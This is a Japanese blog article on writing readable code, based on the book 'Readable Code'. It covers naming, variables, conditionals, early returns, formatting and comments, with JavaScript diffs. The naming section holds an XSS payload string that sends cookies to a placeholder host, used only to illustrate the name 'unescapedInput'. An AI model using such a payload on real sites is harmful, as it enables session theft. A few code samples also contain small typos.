読みやすいコードを書こう
コードの品質を維持するためには、コードが読みやすくなければならない。
なぜなら、読みづらいコードはレビューしづらく、バグを見落としてしまいやすいからである。
また、将来コードを変更する際にもコードが読みづらいと容易に変更できず、新たに欠陥を生み出してしまう可能性もある。
つまり、読みやすいコードを書くことは、機能性や信頼性、保守性といった品質の向上に大きく関係すると考えられる。
ここでは、オライリージャパンから出版されている「リーダブルコード」の内容をメインに紹介していく。そのため、詳細な内容については書籍を参照されたい。
リーダブルコード - より良いコードを書くためのシンプルで実践的なテクニック
1. 命名
変数や関数、クラス、ファイル等、名前を付ける際には以下の点に気をつけるべきである。
無意味で汎用的な名前は使用しない
関数の返り値が結果(result)であることは分かりきっていて、そのように何の情報も無い変数名は使用しない。
以下のように、返り値の内容がユーザー情報であることを示したければ、usersやusersInfomationといった変数名をつけるのが良い。
- const result = await scan({
+ const users = await scan({
TableName: env.USER_TABLE,
ProjectionExpression: "userID, username, isAdmin",
});
ただし、以下のように汎用的な関数で寿命の短い変数であれば、最低限意味のわかる汎用的な名前でも良い。以下の例ではinputが該当する
export const scan = async (input: ScanCommandInput) => {
const command = new ScanCommand(input);
return await dynamoDBDocumentCliend.send(command);
};
最適な動詞を使用する
同じ意味を持つ単語であっても微妙にニュアンスが異なるため、最適な動詞を使用する。
ただし、若手エンジニアでそこまで違いを理解できるか?という所はあるため、動詞の使い分けを行うのであればプロジェクト内で事前に共有しておく必要があると思う。
名前に必要な情報を付加する
// XSS対策のためにエスケープ処理が必要な入力文字列
- const input = "<script>fetch('https://hogehoge.com/?cookie_data='+document.cookies);</script>";
+ const unescapedInput = "<script>fetch('https://hogehoge.com/?cookie_data='+document.cookies);</script>";
// 文字コードを意識する必要のある文字列
- const text = "hoge";
+ const utf8Text = "hoge";
また、以下のように単位のある値の場合、単位の認識間違いにより処理を誤ってしまう可能性がある。
(例えば、ミリ秒単位の変数と秒単位の変数を比較してしまうとか)
そのため、変数名に単位を付与することにより、バグの混入防止に寄与できる。
- const startTime = performance.now();
+ const msStartTime = performance.now();
- const fileSize = fs.statSync("./fileSize.js").size;
+ const byteFileSize = fs.statSync("./fileSize.js").size;
不必要に名前を省略しない
ぱっと見でcntがcountだと分かるだろうか?自分が分かっても、他の人は分からないかもしれないため、不必要に名前を省略すべきではない。
- const userCnt = users.length;
+ const userCount = users.length;
また、以下のように変数名が長くなってしまうと省略してしまいたくなるかもしれない。
しかし、省略することにより意味が読み取れなくなっては元も子もないし、エディタのコード補完機能があるため名前の長さはそこまで問題にならない。
- const contRecMilestones = [
+ const continuousRecordingMilestones = [
…
];
範囲を示す変数の命名
単語によってその値を含むがどうかが異なるため、範囲を示す変数の命名には注意する必要がある。
限界値
limitはその値を含むのかどうかが曖昧であるため、使用すべきではない。
(個人的には含みそうな気がするが、そうとは限らないらしい)
限界値を示す場合は、閉区間である(その値を含む)事がわかるmin, maxを使用すべきである。
範囲
範囲を示す場合、start, endだとlimitと同様にその値を含むのかどうかが曖昧になってしまう。
値が閉区間であることを示す場合は、first, lastを使用すべきである。
また、値が半開区間であることを示す場合は、begin, endを使用すべきである。
命名規則を定める
言語ごとに命名規則が定められているため、基本的にはそれを参照すれば良い。
会社やプロジェクト単位でコーディングルールが決まっていれば、それに従う。
命名規則が決まったら、Linterを使用して機械的に命名規則に適合させよう。
Boolean型変数/Boolean型を返す関数の命名
2. 変数
説明変数・要約変数
if (parsedCode.at(0) !== "STEPFIT") だと parsedCode.at(0)が何なのかが分からず、後からこのコードを変更しようとなった際に困るだろう。
そのため、parsedCode.at(0)が何なのかを説明する変数に代入した上で、その変数を使用すると良い。
const parsedCode = code.split(";");
- if (parsedCode.at(0) !== "STEPFIT") {
+ const prefix = parsedCode.at(0);
+ if (prefix !== "STEPFIT") {
const errorMessage = "The sent code is invalid!";
console.error(errorMessage);
console.error("code: ", parsedCode);
throw InvalidInputValue(errorMessage);
}
また、以下のようにぱっと見何の真偽を確認しているか分からない条件式についても、何の真偽を確認しているのかを要約する変数名を付けると良い。
const date = dayjs.unix(timestamp);
const now = dayjs();
- if (date.month() === now.month() && date.year() === now.year()) {
+ const isCurrentMonth = (date.month() === now.month() && date.year() === now.year());
+ if (isCurrentMonth) {
}
役に立たない変数を削除する
先ほど内容の分からない値は説明変数に代入すべきであると書いたが、以下の場合メソッド名から現在日時を取得することは分かるため、そのような場合は敢えてnowという変数に代入する必要はない。
もし、updateDatabaseTime()以外にも変数nowを参照する箇所があるのであれば良いが、この場合はupdateDatabaseTime()でしか参照しないため、引数に直接`Date.now()を渡せば良い。
- const now = Date.now();
- await updateDatabaseTime(now);
+ await updateDatabaseTime(Date.now());
// 以降、変数nowは使用しない
変数のスコープを狭くする
変数名の衝突や予期せぬ変更を防ぐために、変数のスコープは狭くすべきである。
また、JavaScriptでは変数の宣言にvar宣言があるが、下表の通りlet宣言、const宣言よりもスコープが広く、変数の再宣言も可能であるため使用すべきではない。
| var | let | const | |
|---|---|---|---|
| 再宣言 | 可能 | 不可能 | 不可能 |
| 再代入 | 可能 | 可能 | 不可能 |
| スコープ | 関数 | ブロック | ブロック |
let宣言とconst宣言の使い分けについては以下の記事が参考になる。
変数宣言の位置を下げる
古のC言語では、関数の先頭で変数を宣言しなければならないという制限があった(らしい)。
そのため、現在でも関数の先頭で使用する変数を宣言するという慣習があるが、前述の「変数のスコープを狭くする」の理由と同様で、変数も使用する直前で宣言すべきである。
3. 条件分岐
条件式の引数の並び順を考える
条件式の引数は自然言語で読むのと同じ順序にすると読みやすくなる。
- // ×: 4以上である、monthlyTotalStampsが
- if (4 <= monthlyTotalStamps)
+ // ◯: monthlyTotalStampsが4以上である
+ if (monthlyTotalStamps >= 4)
三項演算子を使用する
シンプルな条件分岐の場合は、三項演算子を使用した方が読みやすくなる。
また、三項演算子を使用することにより、let宣言ではなくconst宣言で変数宣言ができるため、意図せぬ再代入を防ぐこともできる。
- let subDomain;
- if (envName === "Dev") {
- subDomain = "dev-apps";
- } else {
- subDomain = "apps";
- }
+ const subDomain = (envName === "Dev")
+ ? "dev-apps"
+ : "apps";
ただし、代入する値が複雑であったり、複数の条件分岐が発生する場合はシンプルにif分岐を使用する方が読みやすいため、適材適所である。
- const colorPalette = (percent < 33)
- ? "red"
- : (percent < 66)
- ? "orange"
- : "green";
+ let colorPalette;
+ if (percent < 33) {
+ colorPalette = "red";
+ } else if (percent < 66) {
+ colorPalette = "orange";
+ } else {
+ colorPalette = "green";
+ }
switch文を使用する
値の一致を比較する条件分岐であれば、if文を使用するよりもswitch文を使用する方が書きやすく、読みやすい。(Pythonにはswitch文が存在しないが)
let titleColor;
- if (titleRank === 1) {
- titleColor = "#F4B2C2";
- } else if (titleRank === 2) {
- titleColor = "#A6C5FF";
- } else if (titleRank === 3) {
- titleColor = "#F8BB70";
+ switch (titleRank) {
+ case 1:
+ titleColor = "#F4B2C2";
+ break;
+ case 2:
+ titleColor = "#A6C5FF";
+ break;
+ case 3:
+ titleColor = "#F8BB70";
+ break;
}
一部JavaScriptの界隈では以下のようなswitch文の使い方をする事があるが、switch文とif文で可読性が対して変わっておらず、switch文の本来の使い方とも逸脱しているため、値の一致を比較するパターン以外ではif分岐を使用すべきであると思う。
let colorPalette;
- switch (true) {
- case percent < 33:
- colorPalette = "red";
- break;
- case percent < 66:
- colorPalette = "orange";
- break;
- default:
- colorPalette = "green";
+ if (percent < 33) {
+ colorPalette = "red";
+ } else if (percent < 66) {
+ colorPalette = "orange";
+ } else {
+ colorPalette = "green";
}
ネストを浅くする
以下のようにネストが深いコードは、今いる場所の条件(user_result == SUCCESS であり、かつ permission_result != SUCCESS) を覚えておかなければならず、読みづらくなる。
if (user_result == SUCCESS) {
if (permission_result != SUCCESS) {
reply.WriteErrors("error reading permissions");
reply.Done();
return;
}
reply.WriteErrors("");
} else {
reply.WriteErrors(user_results);
}
reply.Done();
例えば、以下のように条件ごとにエラーを返すコードであれば、読みやすい。
if (user_result != SUCCESS) {
reply.WriteErrors(user_results);
reply.Done();
result;
}
if (permission_result != SUCCESS) {
reply.WriteErrors("error reading permissions");
reply.Done();
return;
}
reply.WriteErrors("");
reply.Done();
ド・モルガンの法則を使う
論理否定演算子が複数あり、条件式が複雑な場合はド・モルガンの法則を使用することにより条件がシンプルになり、読みやすくなるかもしれない。
- if (!(file_exists && !is_protected))
+ if (!file_exists || is_protected)
ド・モルガンの法則
!(P || Q) === !P && !Q!(P && Q) === !P || !Q
4. 関数
返せるタイミングで返り値を返す
これも古のルールとして、return文は関数に1つだけとしがちだが、そんなことはない。
むしろ、必要なタイミングでreturn文を使用することで後の処理を気にする必要がなくなり、良い。
- const returnTitlesValue = (titles?.Items)
- ? titles.Items
- : [];
-
- return returnTitlesValue;
+ if (titles?.Items) {
+ return titles.Items;
+ }
+
+ return [];
また、エラーを返す場合も同様の理由で早いうちに返しておくと良い。
if (!titles) {
throw new Error("Failed to get Titles!!");
}
if (titles?.Items) {
return titles.Items;
}
return [];
5. フォーマット
一貫性と意味のある並び
変数や関数、モジュールのimport文等を並べる場合、一貫性のある並びにすべきである。
以下の場合は、importする関数名をアルファベット順に並べている。
他には、変数や関数が参照される順に並べたり等。
import {
adminCreateUser,
adminDeleteUser,
adminSetUserPassword,
} from "./awsService/cognito";
大事なのは、どんな順序にするかよりも、この順序で並べると決めたのであれば他の箇所でもそのルールに従って、一貫性を持たせるという点である。
宣言をブロックにまとめる
全てのimport文が一つの固まりとして書かれていると、何がどこにあるのかが分かりづらい。
そのため、意味や目的等のまとまりとしてブロックを分割すると良い。
+ // Functions
import chunk from "lodash.chunk";
import {
adminCreateUser,
adminDeleteUser,
adminSetUserPassword,
} from "./awsService/cognito";
import {
batchWrite,
get,
put,
query,
scan,
update,
} from "./awsService/dynamoDB";
import {
getCurrentMonth,
isCurrentMonth,
isThursdayOnPreviousWeek,
isTuesdayOnCurrentWeek,
} from "./utils/dayUtils";
+
+ // Types
import { SendCodeInput, Title, User } from "./resolver.type";
+
+ // Constants, Variables
import { titles, WRITE_CHUNK_NUMBER } from "./const";
import { env } from "./env";
+
+ // Exceptions
import {
AlreadyGotStamp,
InvalidInputValue,
ItemNotFound,
UnexpectedServerError,
} from "./exceptions";
インデントを整える
当然ながら、インデントが崩れているコードは読みづらい。
しかし、コードの修正を行なっていると知らず知らずの内にインデントが崩れてしまっていることもあるだろう。
その度に都度手動でインデントを整えるのは大変なため、基本的にFormatterを使用して自動的にインデントが整えられるようにすべきである。
6. コメント
コードの読みづらさをコメントで補わない
コメントをつける前に、まず上記までに紹介した読みやすいコードの書き方ができているかを確認すべきである。例えば、適切に変数名を付けていれば以下のようなコメントは記載する必要がない。
// ユーザー情報を取得する
const result = await scan({
TableName: env.USER_TABLE,
ProjectionExpression: "userID, username, isAdmin",
});
情報量のないコメントをつけない
ユーザー情報を取得する関数であることは関数名から明らかであるため、わざわざコメントに記載する必要はない。
- // ユーザー情報を取得する関数
export const retrieveUsersInformation = async (): Promise<User[]> => {
アノテーションコメントをつける
定数にコメントをつける
定数の値を変更する必要が発生しても、その定数がなぜのその値を持っているのはという背景が分からなければ変更をおこなっても良いかどうかが判断できない。そのため、定数にコメントをつけておくと良い。
// BatchWriteItem は一度に25件の項目までしか操作できない。
// https://docs.aws.amazon.com/ja_jp/amazondynamodb/latest/APIReference/API_BatchWriteItem.html
const BATCH_WRITE_CHUNK_NUMBER = 25;
入出力の実例を書く
処理内容を把握しづらい関数であれば、入出力の実例をコメントにあげると内容が把握しやすくなる。
// 入力: "シングルクォーテーション: ', 改行: \n"
// 出力: "シングルクォーテーション: \', 改行: \\n"
function escapeString(string) {
}
コードの意図を書く
「逆順にする」という内容はreverse()メソッドの処理内容を調べれば分かることでわざわざコメントに残す必要はない。
コメントを残すのであれば、逆順に並び替えたい意図(降順に並び替える)を説明すべきである。
- // 請求書一覧を逆順にする
+ // 請求書を降順(今月 -> 先月)に並び替える
invoiceList.reverse();
読み手の立場になって考える
先述したコメント以外にも、他の人や将来の自分が読んだ際にこんな情報があると助かるだろうなというコメントを残すべきである。
7. まとめ
コードを読みやすくする方法についてまとめたが、これら全てを覚え、毎回実行するのはほぼ不可能だろう。
そのため、基本的にはLinterやFormatterをpre-commitフックで実行するようにし、コミット前に自動的にチェックするようにしよう。また、生成AIを活用し、ここまで書いた方法に基づいてコードの一次レビューをしてもらうというのも手だろう。
プロジェクトによって取り入れられるものとそうで無いものもあるだろうし、最初から全て取り入れて完全型を目指す必要もない。
まずできることから順にやっていき、少しずつコード品質の向上を目指していってほしい。
Discussion